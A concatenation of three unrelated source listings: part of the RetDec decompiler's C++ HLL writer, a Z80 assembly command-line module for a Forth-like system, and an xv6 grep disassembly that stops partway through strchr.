// For global variables, emit the name of the register this global
// variable represents (e.g. ebx). This is helpful because it shows
// which global variable corresponds to which register.
auto registerName = module->getRegisterForGlobalVar(var);
if (!registerName.empty()) {
out << " " << comment(registerName);
return true;
}
return false;
}
auto globalVarName = module->comesFromGlobalVar(currFunc, var);
if (!globalVarName.empty()) {
// It is a local variable comming from a global variable. We want to
// emit the global variable's name in a comment so we know from which
// global variable this local variable comes from.
out << " " << comment(globalVarName);
return true;
}
// It is a local variable, which can have an offset (global variables
// don't have offsets).
infoEmitted = tryEmitVarOffsetInComment(var);
if (infoEmitted) {
return true;
}
return false;
}
/**
* @brief Tries to emit the address of the given variable into a comment.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::tryEmitVarAddressInComment(ShPtr<Variable> var) {
// The address or offset is stored in the initial name of the variable.
std::string varAddress(getAddressFromName(var->getInitialName()));
if (varAddress.empty()) {
return false;
}
out << " " << comment(varAddress);
return true;
}
/**
* @brief Tries to emit the offset of the given variable into a comment.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::tryEmitVarOffsetInComment(ShPtr<Variable> var) {
// The offset is stored in the initial name of the variable.
std::string varOffset(getOffsetFromName(var->getInitialName()));
if (varOffset.empty()) {
return false;
}
out << " " << comment("bp" + varOffset);
return true;
}
/**
* @brief Returns @c true if the given constant should be emitted in hexa, @c
* false otherwise.
*
* @par Preconditions
* - @a constant is non-null
*/
bool HLLWriter::shouldBeEmittedInHexa(ShPtr<ConstInt> constant) const {
PRECONDITION_NON_NULL(constant);
// Originally, we used
//
// constant->isMoreReadableInHexa()
//
// However, we have decided to emit all numbers whose hexadecimal
// representation is greater than 0xfff = 4095 (i.e. three hexa digits) in
// hexa.
std::size_t hexaSize(constant->toString(16).size());
return hexaSize > (constant->isNegative() ? 4U : 3U);
}
/**
* @brief Checks whether the given @a array should be emitted in a structured
* way.
*/
bool HLLWriter::shouldBeEmittedInStructuredWay(ShPtr<ConstArray> array) const {
if (!emitConstantsInStructuredWay) {
return false;
}
// Only arrays of more complex types should be emitted in a structured way.
// That is, do not emit arrays of integers or floats in a structured way
// because they look better when emitted inline.
ShPtr<Type> containedType(array->getContainedType());
if (isa<IntType>(containedType) || isa<FloatType>(containedType)) {
return false;
}
return true;
}
/**
* @brief Checks whether the given @a structure should be emitted in a
* structured way.
*/
bool HLLWriter::shouldBeEmittedInStructuredWay(ShPtr<ConstStruct> structure) const {
return emitConstantsInStructuredWay;
}
/**
* @brief Returns the textual representation of a null pointer.
*
* By default, it returns @c "NULL".
*/
std::string HLLWriter::getConstNullPointerTextRepr() const {
return "NULL";
}
/**
* @brief Returns the goto label for the given statement.
*/
std::string HLLWriter::getGotoLabel(ShPtr<Statement> stmt) {
// By prefixing the raw label, we ensure that it is valid in C (labels
// in C are required to start with either a letter on an underscore).
auto rawLabel = getRawGotoLabel(stmt);
return startsWith(rawLabel, "lab") ? rawLabel : "lab_" + rawLabel;
}
/**
* @brief Emits the detected compiler or packer (if any).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitMetaInfoDetectedCompilerOrPacker() {
auto compilerOrPacker = module->getDetectedCompilerOrPacker();
if (compilerOrPacker.empty()) {
return false;
}
out << comment("Detected compiler/packer: " + compilerOrPacker) << "\n";
return true;
}
/**
* @brief Emits the detected language (if any).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitMetaInfoDetectedLanguage() {
std::string language(module->getDetectedLanguage());
if (language.empty()) {
return false;
}
out << comment("Detected language: " + language) << "\n";
return true;
}
/**
* @brief Emits the number of detected functions.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitMetaInfoNumberOfDetectedFuncs() {
std::ostringstream funcCount;
funcCount << "Detected functions: " << module->getNumOfFuncDefinitions();
out << comment(funcCount.str()) << "\n";
return true;
}
/**
* @brief Emits functions that were selected to be decompiled but were not
* found (if any).
*/
bool HLLWriter::emitMetaInfoSelectedButNotFoundFuncs() {
auto notFoundFuncs = module->getSelectedButNotFoundFuncs();
if (notFoundFuncs.empty()) {
return false;
}
out << comment(
"Functions selected to be decompiled but not found: " +
joinStrings(notFoundFuncs) +
"\n"
);
return true;
}
/**
* @brief Emits the decompilation date.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitMetaInfoDecompilationDate() {
std::ostringstream decompDate;
decompDate << "Decompilation date: " << getCurrentDate() <<
" " << getCurrentTime() << "\n";
out << comment(decompDate.str());
return true;
}
/**
* @brief Emits functions that were removed due to decompilation errors (if
* any).
*/
bool HLLWriter::emitMetaInfoFuncsRemovedDueErrors() {
std::ostringstream funcsRemovedDueErrors;
funcsRemovedDueErrors << "Functions removed due to errors: ";
std::size_t numOfFuncsRemovedDueErrors = 0;
for (auto &funcName : namesOfFuncsWithFixedIR) {
// We include only functions which do not exist in the module. Existing
// functions have attached a warning comment to their bodies.
if (!module->getFuncByName(funcName)) {
if (numOfFuncsRemovedDueErrors > 0) {
funcsRemovedDueErrors << ", ";
}
funcsRemovedDueErrors << funcName;
numOfFuncsRemovedDueErrors = true;
}
}
funcsRemovedDueErrors << "\n";
if (numOfFuncsRemovedDueErrors > 0) {
out << comment(funcsRemovedDueErrors.str());
return true;
}
return false;
}
/**
* @brief Emits the number of decompilation errors (if any).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitMetaInfoNumberOfDecompilationErrors() {
if (namesOfFuncsWithFixedIR.empty()) {
return false;
}
auto totalNumberOfFuncs = module->getNumberOfFuncsDetectedInFrontend();
std::ostringstream numberOfDecompilationErrors;
numberOfDecompilationErrors <<
"Number of decompilation errors: " <<
namesOfFuncsWithFixedIR.size() <<
" (out of " << totalNumberOfFuncs << " function" <<
(totalNumberOfFuncs != 1 ? "s" : "") <<
")\n";
out << comment(numberOfDecompilationErrors.str());
return true;
}
/**
* @brief Returns a "raw" goto label for the given statement.
*
* "raw" means without any prefix.
*/
std::string HLLWriter::getRawGotoLabel(ShPtr<Statement> stmt) {
if (stmt->hasLabel()) {
return stmt->getLabel();
}
// If the statement has attached metadata of the form of a label in LLVM
// IR, use this label. This string should be the original label of the
// corresponding block in the input LLVM IR. This makes the emitted code
// more readable.
auto metadata = stmt->getMetadata();
if (LLVMSupport::isBasicBlockLabel(metadata)) {
return metadata;
}
// Fall-back.
return "generated_" + toString(currFuncGotoLabelCounter++);
}
/**
* @brief Returns the most readable name of the given class.
*/
std::string HLLWriter::getReadableClassName(const std::string &cl) const {
auto demangledName = module->getDemangledNameOfClass(cl);
return !demangledName.empty() ? demangledName : cl;
}
/**
* @brief Returns the most readable names of the given classes.
*/
StringVector HLLWriter::getReadableClassNames(const StringVector &classes) const {
StringVector readableNames;
for (auto &cl : classes) {
readableNames.push_back(getReadableClassName(cl));
}
return readableNames;
}
} // namespace llvmir2hll
} // namespace retdec
|
; *********************************************************************************
; *********************************************************************************
;
; File: command.asm
; Purpose: Command line code
; Date : 9th December 2018
; Author: paul@robsons.org.uk
;
; *********************************************************************************
; *********************************************************************************
CommandLineStart:
ld hl,__CLIWelcome
ld c,5
jr ContinueInitialise
WarmStartClearStack: ; warm start
ld hl,__CLIWarmStart
ld c,4
jr ContinueInitialise
ErrorHandler: ; error routines.
ld c,2
;
; Complete initialisation
;
ContinueInitialise:
ld sp,StackTop ; reset Z80 Stack
ld de,$0000
Continue:
;
; Come here, initialise everything except SP, HL contains display message
;
NewCommand:
push de ; put TOS Back on the stack
push hl ; save message
ld a,FirstCodePage ; reset the paging system
call PAGEInitialise
ld de,CompilerStack-CompilerStackSize ; reset the compilers local stack frame
ld (__COMPStackPointer),de
ld de,$0000 ; no current definition open.
ld (__COMPCurrentDef),de
ld hl,(__DIScreenSize) ; clear the 2nd line
ld de,-64
add hl,de
ld b,32
__CLIClear:
ld de,$0120
call GFXWriteCharacter
inc hl
djnz __CLIClear
ld hl,(__DIScreenSize) ; half way down 2nd line.
ld de,-48
add hl,de
ld d,c ; colour in D
pop bc ; text in BC
__CLIPrompt: ; write prompt / message / etc.
ld a,(bc)
or a
jr z,__CLIPromptExit
jp m,__CLIPromptExit
ld e,a
call GFXWriteCharacter
inc bc
inc hl
jr __CLIPrompt
__CLIPromptExit:
pop de ; stack is now cached
call DEBUGShow
push de ; whole stack is on the stack.
ld hl,(__DIScreenSize) ; bakck to start of 2nd to last row
ld de,-64
add hl,de
ld ix,__CLIBuffer ; IX points to buffer
__CLILoop:
ld de,$057F ; display prompt
call GFXWriteCharacter
call __CLIGetKey ; get key
cp 13 ; exec on CR
jr z,__CLIExecute
cp ' ' ; exec on space
jr z,__CLIExecute
jp c,GoNewCommand ; any other < ' ' warm start e.g. start again
ld (ix+0),a ; save char in buffer
ld d,6 ; draw it
ld e,a
call GFXWriteCharacter
ld a,l ; reached 15 chars, don't add
and 15
cp 15
jr z,__CLILoop
inc hl ; move forward
inc ix
jr __CLILoop
__CLIExecute:
ld (ix+0),$80 ; mark end
ld bc,__CLIBuffer-1 ; get address of buffer into BC
pop de ; cache TOS in DE
call COMCompileWordList ; compile that word list.
push de ; uncache DE
GoNewCommand:
pop de ; cache TOS in DE
ld hl,__CLIWarmStart ; re-entrant message
jp NewCommand
__CLIGetKey:
call __CLIGetChange
or a
jr z,__CLIGetKey
ret
__CLIGetChange:
push bc
ld a,(__CLICurrentKey)
ld b,a
__CLIChangeLoop:
call IOScanKeyboard
cp b
jr z,__CLIChangeLoop
ld (__CLICurrentKey),a
pop bc
ret
__CLIWelcome:
db "colorforth 00000 ",$00
__CLIWarmStart:
db "ready",$00
|
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: f3 0f 1e fb endbr32
4: 8d 4c 24 04 lea 0x4(%esp),%ecx
8: 83 e4 f0 and $0xfffffff0,%esp
b: ff 71 fc pushl -0x4(%ecx)
e: 55 push %ebp
f: 89 e5 mov %esp,%ebp
11: 57 push %edi
12: 56 push %esi
13: 53 push %ebx
14: 51 push %ecx
15: 83 ec 18 sub $0x18,%esp
18: 8b 01 mov (%ecx),%eax
1a: 8b 59 04 mov 0x4(%ecx),%ebx
1d: 89 45 e4 mov %eax,-0x1c(%ebp)
int fd, i;
char *pattern;
if(argc <= 1){
20: 83 f8 01 cmp $0x1,%eax
23: 7e 6b jle 90 <main+0x90>
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
25: 8b 43 04 mov 0x4(%ebx),%eax
28: 83 c3 08 add $0x8,%ebx
if(argc <= 2){
2b: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp)
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
2f: be 02 00 00 00 mov $0x2,%esi
pattern = argv[1];
34: 89 45 e0 mov %eax,-0x20(%ebp)
if(argc <= 2){
37: 75 29 jne 62 <main+0x62>
39: eb 68 jmp a3 <main+0xa3>
3b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3f: 90 nop
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
40: 83 ec 08 sub $0x8,%esp
for(i = 2; i < argc; i++){
43: 83 c6 01 add $0x1,%esi
46: 83 c3 04 add $0x4,%ebx
grep(pattern, fd);
49: 50 push %eax
4a: ff 75 e0 pushl -0x20(%ebp)
4d: e8 de 01 00 00 call 230 <grep>
close(fd);
52: 89 3c 24 mov %edi,(%esp)
55: e8 71 05 00 00 call 5cb <close>
for(i = 2; i < argc; i++){
5a: 83 c4 10 add $0x10,%esp
5d: 39 75 e4 cmp %esi,-0x1c(%ebp)
60: 7e 29 jle 8b <main+0x8b>
if((fd = open(argv[i], 0)) < 0){
62: 83 ec 08 sub $0x8,%esp
65: 6a 00 push $0x0
67: ff 33 pushl (%ebx)
69: e8 75 05 00 00 call 5e3 <open>
6e: 83 c4 10 add $0x10,%esp
71: 89 c7 mov %eax,%edi
73: 85 c0 test %eax,%eax
75: 79 c9 jns 40 <main+0x40>
printf(1, "grep: cannot open %s\n", argv[i]);
77: 50 push %eax
78: ff 33 pushl (%ebx)
7a: 68 98 0a 00 00 push $0xa98
7f: 6a 01 push $0x1
81: e8 8a 06 00 00 call 710 <printf>
exit();
86: e8 18 05 00 00 call 5a3 <exit>
}
exit();
8b: e8 13 05 00 00 call 5a3 <exit>
printf(2, "usage: grep pattern [file ...]\n");
90: 51 push %ecx
91: 51 push %ecx
92: 68 78 0a 00 00 push $0xa78
97: 6a 02 push $0x2
99: e8 72 06 00 00 call 710 <printf>
exit();
9e: e8 00 05 00 00 call 5a3 <exit>
grep(pattern, 0);
a3: 52 push %edx
a4: 52 push %edx
a5: 6a 00 push $0x0
a7: 50 push %eax
a8: e8 83 01 00 00 call 230 <grep>
exit();
ad: e8 f1 04 00 00 call 5a3 <exit>
b2: 66 90 xchg %ax,%ax
b4: 66 90 xchg %ax,%ax
b6: 66 90 xchg %ax,%ax
b8: 66 90 xchg %ax,%ax
ba: 66 90 xchg %ax,%ax
bc: 66 90 xchg %ax,%ax
be: 66 90 xchg %ax,%ax
000000c0 <matchstar>:
return 0;
}
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
c0: f3 0f 1e fb endbr32
c4: 55 push %ebp
c5: 89 e5 mov %esp,%ebp
c7: 57 push %edi
c8: 56 push %esi
c9: 53 push %ebx
ca: 83 ec 0c sub $0xc,%esp
cd: 8b 5d 08 mov 0x8(%ebp),%ebx
d0: 8b 75 0c mov 0xc(%ebp),%esi
d3: 8b 7d 10 mov 0x10(%ebp),%edi
d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
dd: 8d 76 00 lea 0x0(%esi),%esi
do{ // a * matches zero or more instances
if(matchhere(re, text))
e0: 83 ec 08 sub $0x8,%esp
e3: 57 push %edi
e4: 56 push %esi
e5: e8 36 00 00 00 call 120 <matchhere>
ea: 83 c4 10 add $0x10,%esp
ed: 85 c0 test %eax,%eax
ef: 75 1f jne 110 <matchstar+0x50>
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
f1: 0f be 17 movsbl (%edi),%edx
f4: 84 d2 test %dl,%dl
f6: 74 0c je 104 <matchstar+0x44>
f8: 83 c7 01 add $0x1,%edi
fb: 39 da cmp %ebx,%edx
fd: 74 e1 je e0 <matchstar+0x20>
ff: 83 fb 2e cmp $0x2e,%ebx
102: 74 dc je e0 <matchstar+0x20>
return 0;
}
104: 8d 65 f4 lea -0xc(%ebp),%esp
107: 5b pop %ebx
108: 5e pop %esi
109: 5f pop %edi
10a: 5d pop %ebp
10b: c3 ret
10c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
110: 8d 65 f4 lea -0xc(%ebp),%esp
return 1;
113: b8 01 00 00 00 mov $0x1,%eax
}
118: 5b pop %ebx
119: 5e pop %esi
11a: 5f pop %edi
11b: 5d pop %ebp
11c: c3 ret
11d: 8d 76 00 lea 0x0(%esi),%esi
00000120 <matchhere>:
{
120: f3 0f 1e fb endbr32
124: 55 push %ebp
125: 89 e5 mov %esp,%ebp
127: 57 push %edi
128: 56 push %esi
129: 53 push %ebx
12a: 83 ec 0c sub $0xc,%esp
12d: 8b 4d 08 mov 0x8(%ebp),%ecx
130: 8b 7d 0c mov 0xc(%ebp),%edi
if(re[0] == '\0')
133: 0f b6 01 movzbl (%ecx),%eax
136: 84 c0 test %al,%al
138: 75 2b jne 165 <matchhere+0x45>
13a: eb 64 jmp 1a0 <matchhere+0x80>
13c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(re[0] == '$' && re[1] == '\0')
140: 0f b6 37 movzbl (%edi),%esi
143: 80 fa 24 cmp $0x24,%dl
146: 75 04 jne 14c <matchhere+0x2c>
148: 84 c0 test %al,%al
14a: 74 61 je 1ad <matchhere+0x8d>
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
14c: 89 f3 mov %esi,%ebx
14e: 84 db test %bl,%bl
150: 74 3e je 190 <matchhere+0x70>
152: 80 fa 2e cmp $0x2e,%dl
155: 74 04 je 15b <matchhere+0x3b>
157: 38 d3 cmp %dl,%bl
159: 75 35 jne 190 <matchhere+0x70>
return matchhere(re+1, text+1);
15b: 83 c7 01 add $0x1,%edi
15e: 83 c1 01 add $0x1,%ecx
if(re[0] == '\0')
161: 84 c0 test %al,%al
163: 74 3b je 1a0 <matchhere+0x80>
if(re[1] == '*')
165: 0f be d0 movsbl %al,%edx
168: 0f b6 41 01 movzbl 0x1(%ecx),%eax
16c: 3c 2a cmp $0x2a,%al
16e: 75 d0 jne 140 <matchhere+0x20>
return matchstar(re[0], re+2, text);
170: 83 ec 04 sub $0x4,%esp
173: 83 c1 02 add $0x2,%ecx
176: 57 push %edi
177: 51 push %ecx
178: 52 push %edx
179: e8 42 ff ff ff call c0 <matchstar>
17e: 83 c4 10 add $0x10,%esp
}
181: 8d 65 f4 lea -0xc(%ebp),%esp
184: 5b pop %ebx
185: 5e pop %esi
186: 5f pop %edi
187: 5d pop %ebp
188: c3 ret
189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
190: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
193: 31 c0 xor %eax,%eax
}
195: 5b pop %ebx
196: 5e pop %esi
197: 5f pop %edi
198: 5d pop %ebp
199: c3 ret
19a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1a0: 8d 65 f4 lea -0xc(%ebp),%esp
return 1;
1a3: b8 01 00 00 00 mov $0x1,%eax
}
1a8: 5b pop %ebx
1a9: 5e pop %esi
1aa: 5f pop %edi
1ab: 5d pop %ebp
1ac: c3 ret
return *text == '\0';
1ad: 89 f0 mov %esi,%eax
1af: 84 c0 test %al,%al
1b1: 0f 94 c0 sete %al
1b4: 0f b6 c0 movzbl %al,%eax
1b7: eb c8 jmp 181 <matchhere+0x61>
1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001c0 <match>:
{
1c0: f3 0f 1e fb endbr32
1c4: 55 push %ebp
1c5: 89 e5 mov %esp,%ebp
1c7: 56 push %esi
1c8: 53 push %ebx
1c9: 8b 5d 08 mov 0x8(%ebp),%ebx
1cc: 8b 75 0c mov 0xc(%ebp),%esi
if(re[0] == '^')
1cf: 80 3b 5e cmpb $0x5e,(%ebx)
1d2: 75 15 jne 1e9 <match+0x29>
1d4: eb 3a jmp 210 <match+0x50>
1d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1dd: 8d 76 00 lea 0x0(%esi),%esi
}while(*text++ != '\0');
1e0: 83 c6 01 add $0x1,%esi
1e3: 80 7e ff 00 cmpb $0x0,-0x1(%esi)
1e7: 74 16 je 1ff <match+0x3f>
if(matchhere(re, text))
1e9: 83 ec 08 sub $0x8,%esp
1ec: 56 push %esi
1ed: 53 push %ebx
1ee: e8 2d ff ff ff call 120 <matchhere>
1f3: 83 c4 10 add $0x10,%esp
1f6: 85 c0 test %eax,%eax
1f8: 74 e6 je 1e0 <match+0x20>
return 1;
1fa: b8 01 00 00 00 mov $0x1,%eax
}
1ff: 8d 65 f8 lea -0x8(%ebp),%esp
202: 5b pop %ebx
203: 5e pop %esi
204: 5d pop %ebp
205: c3 ret
206: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
20d: 8d 76 00 lea 0x0(%esi),%esi
return matchhere(re+1, text);
210: 83 c3 01 add $0x1,%ebx
213: 89 5d 08 mov %ebx,0x8(%ebp)
}
216: 8d 65 f8 lea -0x8(%ebp),%esp
219: 5b pop %ebx
21a: 5e pop %esi
21b: 5d pop %ebp
return matchhere(re+1, text);
21c: e9 ff fe ff ff jmp 120 <matchhere>
221: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
228: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
22f: 90 nop
00000230 <grep>:
{
230: f3 0f 1e fb endbr32
234: 55 push %ebp
235: 89 e5 mov %esp,%ebp
237: 57 push %edi
238: 56 push %esi
239: 53 push %ebx
23a: 83 ec 1c sub $0x1c,%esp
m = 0;
23d: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
{
244: 8b 75 08 mov 0x8(%ebp),%esi
247: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
24e: 66 90 xchg %ax,%ax
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
250: 8b 4d e4 mov -0x1c(%ebp),%ecx
253: b8 ff 03 00 00 mov $0x3ff,%eax
258: 83 ec 04 sub $0x4,%esp
25b: 29 c8 sub %ecx,%eax
25d: 50 push %eax
25e: 8d 81 80 0e 00 00 lea 0xe80(%ecx),%eax
264: 50 push %eax
265: ff 75 0c pushl 0xc(%ebp)
268: e8 4e 03 00 00 call 5bb <read>
26d: 83 c4 10 add $0x10,%esp
270: 85 c0 test %eax,%eax
272: 0f 8e b8 00 00 00 jle 330 <grep+0x100>
m += n;
278: 01 45 e4 add %eax,-0x1c(%ebp)
27b: 8b 4d e4 mov -0x1c(%ebp),%ecx
p = buf;
27e: bb 80 0e 00 00 mov $0xe80,%ebx
buf[m] = '\0';
283: c6 81 80 0e 00 00 00 movb $0x0,0xe80(%ecx)
while((q = strchr(p, '\n')) != 0){
28a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
290: 83 ec 08 sub $0x8,%esp
293: 6a 0a push $0xa
295: 53 push %ebx
296: e8 85 01 00 00 call 420 <strchr>
29b: 83 c4 10 add $0x10,%esp
29e: 89 c7 mov %eax,%edi
2a0: 85 c0 test %eax,%eax
2a2: 74 3c je 2e0 <grep+0xb0>
if(match(pattern, p)){
2a4: 83 ec 08 sub $0x8,%esp
*q = 0;
2a7: c6 07 00 movb $0x0,(%edi)
if(match(pattern, p)){
2aa: 53 push %ebx
2ab: 56 push %esi
2ac: e8 0f ff ff ff call 1c0 <match>
2b1: 83 c4 10 add $0x10,%esp
2b4: 8d 57 01 lea 0x1(%edi),%edx
2b7: 85 c0 test %eax,%eax
2b9: 75 05 jne 2c0 <grep+0x90>
p = q+1;
2bb: 89 d3 mov %edx,%ebx
2bd: eb d1 jmp 290 <grep+0x60>
2bf: 90 nop
write(1, p, q+1 - p);
2c0: 89 d0 mov %edx,%eax
2c2: 83 ec 04 sub $0x4,%esp
*q = '\n';
2c5: c6 07 0a movb $0xa,(%edi)
write(1, p, q+1 - p);
2c8: 29 d8 sub %ebx,%eax
2ca: 89 55 e0 mov %edx,-0x20(%ebp)
2cd: 50 push %eax
2ce: 53 push %ebx
2cf: 6a 01 push $0x1
2d1: e8 ed 02 00 00 call 5c3 <write>
2d6: 8b 55 e0 mov -0x20(%ebp),%edx
2d9: 83 c4 10 add $0x10,%esp
p = q+1;
2dc: 89 d3 mov %edx,%ebx
2de: eb b0 jmp 290 <grep+0x60>
if(p == buf)
2e0: 81 fb 80 0e 00 00 cmp $0xe80,%ebx
2e6: 74 38 je 320 <grep+0xf0>
if(m > 0){
2e8: 8b 4d e4 mov -0x1c(%ebp),%ecx
2eb: 85 c9 test %ecx,%ecx
2ed: 0f 8e 5d ff ff ff jle 250 <grep+0x20>
m -= p - buf;
2f3: 89 d8 mov %ebx,%eax
memmove(buf, p, m);
2f5: 83 ec 04 sub $0x4,%esp
m -= p - buf;
2f8: 2d 80 0e 00 00 sub $0xe80,%eax
2fd: 29 c1 sub %eax,%ecx
memmove(buf, p, m);
2ff: 51 push %ecx
300: 53 push %ebx
301: 68 80 0e 00 00 push $0xe80
m -= p - buf;
306: 89 4d e4 mov %ecx,-0x1c(%ebp)
memmove(buf, p, m);
309: e8 62 02 00 00 call 570 <memmove>
30e: 83 c4 10 add $0x10,%esp
311: e9 3a ff ff ff jmp 250 <grep+0x20>
316: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
31d: 8d 76 00 lea 0x0(%esi),%esi
m = 0;
320: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
327: e9 24 ff ff ff jmp 250 <grep+0x20>
32c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
330: 8d 65 f4 lea -0xc(%ebp),%esp
333: 5b pop %ebx
334: 5e pop %esi
335: 5f pop %edi
336: 5d pop %ebp
337: c3 ret
338: 66 90 xchg %ax,%ax
33a: 66 90 xchg %ax,%ax
33c: 66 90 xchg %ax,%ax
33e: 66 90 xchg %ax,%ax
00000340 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
340: f3 0f 1e fb endbr32
344: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
345: 31 c0 xor %eax,%eax
{
347: 89 e5 mov %esp,%ebp
349: 53 push %ebx
34a: 8b 4d 08 mov 0x8(%ebp),%ecx
34d: 8b 5d 0c mov 0xc(%ebp),%ebx
while((*s++ = *t++) != 0)
350: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
354: 88 14 01 mov %dl,(%ecx,%eax,1)
357: 83 c0 01 add $0x1,%eax
35a: 84 d2 test %dl,%dl
35c: 75 f2 jne 350 <strcpy+0x10>
;
return os;
}
35e: 89 c8 mov %ecx,%eax
360: 5b pop %ebx
361: 5d pop %ebp
362: c3 ret
363: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
36a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000370 <strcmp>:
int
strcmp(const char *p, const char *q)
{
370: f3 0f 1e fb endbr32
374: 55 push %ebp
375: 89 e5 mov %esp,%ebp
377: 53 push %ebx
378: 8b 4d 08 mov 0x8(%ebp),%ecx
37b: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
37e: 0f b6 01 movzbl (%ecx),%eax
381: 0f b6 1a movzbl (%edx),%ebx
384: 84 c0 test %al,%al
386: 75 19 jne 3a1 <strcmp+0x31>
388: eb 26 jmp 3b0 <strcmp+0x40>
38a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
390: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
394: 83 c1 01 add $0x1,%ecx
397: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
39a: 0f b6 1a movzbl (%edx),%ebx
39d: 84 c0 test %al,%al
39f: 74 0f je 3b0 <strcmp+0x40>
3a1: 38 d8 cmp %bl,%al
3a3: 74 eb je 390 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
3a5: 29 d8 sub %ebx,%eax
}
3a7: 5b pop %ebx
3a8: 5d pop %ebp
3a9: c3 ret
3aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3b0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
3b2: 29 d8 sub %ebx,%eax
}
3b4: 5b pop %ebx
3b5: 5d pop %ebp
3b6: c3 ret
3b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3be: 66 90 xchg %ax,%ax
000003c0 <strlen>:
uint
strlen(const char *s)
{
3c0: f3 0f 1e fb endbr32
3c4: 55 push %ebp
3c5: 89 e5 mov %esp,%ebp
3c7: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
3ca: 80 3a 00 cmpb $0x0,(%edx)
3cd: 74 21 je 3f0 <strlen+0x30>
3cf: 31 c0 xor %eax,%eax
3d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3d8: 83 c0 01 add $0x1,%eax
3db: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
3df: 89 c1 mov %eax,%ecx
3e1: 75 f5 jne 3d8 <strlen+0x18>
;
return n;
}
3e3: 89 c8 mov %ecx,%eax
3e5: 5d pop %ebp
3e6: c3 ret
3e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3ee: 66 90 xchg %ax,%ax
for(n = 0; s[n]; n++)
3f0: 31 c9 xor %ecx,%ecx
}
3f2: 5d pop %ebp
3f3: 89 c8 mov %ecx,%eax
3f5: c3 ret
3f6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3fd: 8d 76 00 lea 0x0(%esi),%esi
00000400 <memset>:
void*
memset(void *dst, int c, uint n)
{
400: f3 0f 1e fb endbr32
404: 55 push %ebp
405: 89 e5 mov %esp,%ebp
407: 57 push %edi
408: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
40b: 8b 4d 10 mov 0x10(%ebp),%ecx
40e: 8b 45 0c mov 0xc(%ebp),%eax
411: 89 d7 mov %edx,%edi
413: fc cld
414: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
416: 89 d0 mov %edx,%eax
418: 5f pop %edi
419: 5d pop %ebp
41a: c3 ret
41b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
41f: 90 nop
00000420 <strchr>:
char*
strchr(const char *s, char c)
{
420: f3 0f 1e fb endbr32
424: 55 push %ebp
425: 89 e5 mov %esp,%ebp
427: 8b 45 08 mov 0x8(%ebp),%eax
42a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
42e: 0f b6 10 movzbl (%eax),%edx
431: 84 d2 test %dl,%dl
433: 75 16 jne 44b <strchr+0x2b>
435: eb 21 jmp 458 <strchr+0x38>
437: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
43e: 66 90 xchg %ax,%ax
440: 0f b6 50 01 movzbl 0x1(%eax),%edx
444: 83 c0 01 add $0x1,%eax
447: 84 d2 test %dl,%dl
449: 74 0d je 458 <strchr+0x38>
if(*s == c)
44b: 38 d1 cmp %dl,%cl
